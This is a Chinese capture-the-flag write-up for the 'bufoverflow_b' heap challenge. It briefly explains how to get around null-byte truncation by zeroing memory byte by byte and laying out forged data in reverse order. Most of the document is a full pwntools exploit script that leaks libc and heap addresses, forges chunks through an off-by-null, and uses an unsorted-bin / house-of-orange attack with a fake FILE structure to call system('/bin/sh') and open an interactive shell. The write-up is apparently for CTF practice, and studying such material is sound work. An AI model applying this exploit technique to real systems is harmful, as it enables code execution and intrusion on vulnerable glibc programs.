0%

bufoverflow_b

这题和bufferoverflow_a类似,只是在输入的时候,增加了一个检查

[遇到空字符就会截断,这将不利于我们在chunk里伪造数据。]{.mark}

另外增加了一个功能,不过我没有使用到。

遇到’x00’就会截断,但是**[我们仍然可以完整的把我们的伪造数据放进去。]{.mark}**

比如,我们要在偏移0x30处写一个数据0x0000000000123456,我们先把0x30处的8字节数据清零,我们可以这样,第一次payload = ‘a’*0x37 + ‘x00’,第二次payload = ‘a’*0x36 + ‘x00’,第三次payload = ‘a’0x35 + ‘x00’这样循环8次,即可以把0x30处的8字节数据清零。然后,我们就可以写数据了。payload = ‘a’0x30 + ‘x56x34x12x00’。**[需要注意的时,我们需要照着原来buffoverflow_a的payload,倒过来从最后一个数据开始部署。这样,我们才能不把已经部署的给覆盖掉。]{.mark}

直接上exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#coding:utf8  
from pwn import *

sh = process('./bufoverflow_b')
#sh = remote('111.198.29.45',49457)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc.so.6')
_IO_list_all_s = libc.symbols['_IO_list_all']
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

def create(size):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def fill(content):
sh.sendlineafter('>>','3')
sh.sendafter('Content:',content)

def show():
sh.sendlineafter('>>','4')
#清零offset处开始8字节的空间
def clean(offset):
for i in range(7,-1,-1):
fill('b'*(offset + i) + '\x00')

def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
#==============泄露libc相关地址============
#0
create(0x80)
#1
create(0x80)
delete(0)
delete(1)
#0申请回来,此时保留了libc指针
create(0x80)
show()
sh.recv(1)
#泄露信息
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#===========泄露堆地址====================
#1
create(0x400) #large bin范围的堆释放后会有堆地址
create(0x80) #2
#将1放入unsorted bin
delete(1)
#触发整理unsorted bin,将1放入large bin,从而1里堆有指针
create(0x500) #1
delete(1)
#释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
delete(2)
#此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里
delete(0)
#所有bin都合并了,只剩下一个top块
#错位0x10,使得接下来1的fd位置正好有堆指针
create(0x90) #0
create(0x80) #1
show()
sh.recv(1)
heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
#============================================
delete(0)
delete(1)
#0
create(0x208)
'''''fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)'''
#由于限制,我们倒着部署fake_chunk
clean(0x200)
fake_chunk = 'a'*0x200 + '\xE0\x01\x00'
fill(fake_chunk)
clean(0x38)
fake_chunk = 'a'*0x38 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x30)
fake_chunk = 'a'*0x30 + p64(heap_base + 0x50)[0:7]
fill(fake_chunk)
clean(0x28)
fake_chunk = 'a'*0x28 + '\xE0\x01\x00'
fill(fake_chunk)
#1
create(0x80)
#2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
#因此不能在2末尾伪造fake_chunk
create(0xF0)
fill('b'*0xF0)

delete(1)
#1
create(0x88)
#fill('b'*0x80 + p64(0x270))
fill('b'*0x88) #off by one
clean(0x80)
fill('b'*0x80 + '\x70\x02\x00')
#合并
delete(2)
####注意
create(0x290)
#重新复原1、2堆的头信息
#fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
clean(0x268)
fill('a'*0x268 + '\x01\x01\x00')
clean(0x1D8)
fill('a'*0x1D8 + '\x91\x00')
#为了delete后我们的内容不被清空或填充,
#我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
#注意顺序!!!
delete(1)
delete(0)

create(0x290) #0
#在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
#也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
#fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
clean(0xB8)
fill('a'*0xB8 + '\x51\x01\x00')
clean(0x28)
fill('a'*0x28 + '\x91\x00')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)

#现在,我们已经可以控制unsorted bin了
payload = 'a'*0x20
#house of orange in 2.24
'''''fake_file = p64(0) + p64(0x60)
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
#_IO_write_end 、IO_buf_base
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xD8,'\x00')
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(_IO_str_jumps_addr - 8)
#__dummy2、__finish
fake_file += p64(0) + p64(system_addr)'''

start = 0x20
clean(start + 0xE8)
fill(payload + 'a'*0xE8 + p64(system_addr)[0:7])
clean(start + 0xE0)
clean(start + 0xD8)
fill(payload + 'a'*0xD8 + p64(_IO_str_jumps_addr - 8)[0:7])
for i in range(0xD0,0x38,-8):
#print hex(i)
clean(start + i)
clean(start + 0x38)
fill(payload + 'a'*0x38 + p64(binsh_addr)[0:7])
clean(start + 0x30)
clean(start + 0x28)
fill(payload + 'a'*0x28 + '\x01\x00')
clean(start + 0x20)
clean(start + 0x18)
fill(payload + 'a'*0x18 + p64(_IO_list_all_addr-0x10)[0:7])
clean(start + 0x10)
clean(start + 0x8)
fill(payload + 'a'*0x8 + p64(0x60)[0:2])
clean(start + 0)
#raw_input()
create(0x80)

sh.interactive()